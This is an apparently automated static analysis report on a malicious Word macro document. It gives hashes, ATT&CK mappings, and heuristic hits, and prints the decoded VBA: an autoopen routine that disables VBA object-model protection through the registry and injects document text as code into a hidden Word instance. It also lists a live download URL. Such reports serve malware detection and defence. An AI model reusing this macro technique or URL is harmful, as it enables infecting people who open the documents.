Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 c180bb53970d97ed…

MALICIOUS

Office (OOXML)

42.9 KB Created: 2021-06-07 10:47:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-06-13
MD5: 74f59556b16310875c3d36d007d298a4 SHA-1: 5f3ebca8ef0506f28114d1ef385ee5adf83de8b2 SHA-256: c180bb53970d97ed454f1786874e04b0633c67e269ac929eb47ff671be3a551b
170 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer T1204.002 Malicious File

The sample contains VBA macros with an AutoOpen subroutine that executes a function to download a file from the URL "http://someonerentals2012b.com/adda/85495/5SLy1dtzl3axD7cTZEpD0l9d/42930/VC3hu8pc6HFPPwF9ikKCAlKdhg1ptk/16434/25925/ggqIx3eXHRwDlpEexTsGU3htx7YA0LStpgP7mhaYX5L0Lm/Skx1VJUqXLTTBaQTW8AozouQzanfybA3BE/jhUfLic4Aqbb/Jx8nbBz8mmITDhGPPj4HhWXHS8WzUl7vfy5effWZImg/coc1?9T1hc=2vvZV3FA0nL09spYGKGH&sid=UPmZPB6&cid=Xr8lRM&q=Nnpe6Av8Ni&=fYccDzOBdFhKa9x" and save it as "c:\programdata\classMem.jpg". The script also attempts to execute "regsvr32" and modifies the registry key "HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Word\Security\AccessVBOM" to enable VBA object model access, likely to facilitate further malicious actions.

Heuristics 6

  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    Sub globalFuncClass()
With CreateObject("wscript.shell")
.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Office\" & namespaceWindowTemp & "\Word\Security\AccessVBOM", 1, "REG_DWORD"
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Sub nextTableWindow(classPointerWindow)
Set sizeW = CreateObject("word.application")
With sizeW.Documents.Add.VBProject.VBComponents("ThisDocument").CodeModule
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "captionValueResponse"
Sub autoopen()
globalFuncClass
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://someonerentals2012b.com/adda/85495/5SLy1dtzl3axD7cTZEpD0l9d/42930/VC3hu8pc6HFPPwF9ikKCAlKdhg1ptk/16434/25925/ggqIx3eXHRwDlpEexTsGU3htx7YA0LStpgP7mhaYX5L0Lm/Skx1VJUqXLTTBaQTW8AozouQzanfybA3BE/jhUfLic4Aqbb/Jx8nbBz8mmITDhGPPj4HhWXHS8WzUl7vfy5effWZImg/coc1?9T1hc=2vvZV3FA0nL09spYGKGH&sid=UPmZPB6&cid=Xr8lRM&q=Nnpe6Av8Ni&=fYccDzOBdFhKa9x In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/In document text (OOXML body / shared strings)
    • http://purl.org/dc/elements/1.1/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/photoshop/1.0/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/tiff/1.0/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/exif/1.0/In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1108 bytes
SHA-256: bb1c7f4e04086372d45d2768261d212320f81c71a697e6a4a56d135437f21e4b
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "captionValueResponse"
Sub autoopen()
globalFuncClass
classPointerWindow = ActiveDocument.Range.Text
classPointerWindow = Mid(classPointerWindow, 2, Len(classPointerWindow))
nextTableWindow classPointerWindow
End Sub
Sub nextTableWindow(classPointerWindow)
Set sizeW = CreateObject("word.application")
With sizeW.Documents.Add.VBProject.VBComponents("ThisDocument").CodeModule
.AddFromString classPointerWindow
End With
sizeW.Visible = False
sizeW.Quit SaveChanges:=wdDoNotSaveChanges
End Sub
Function namespaceWindowTemp()
namespaceWindowTemp = Application.Version
End Function
Sub globalFuncClass()
With CreateObject("wscript.shell")
.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Office\" & namespaceWindowTemp & "\Word\Security\AccessVBOM", 1, "REG_DWORD"
End With
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 13824 bytes
SHA-256: 3556cc530dd3886664a1e59b8fbb06cbefceacffa18114d7825a6461b5b62f69

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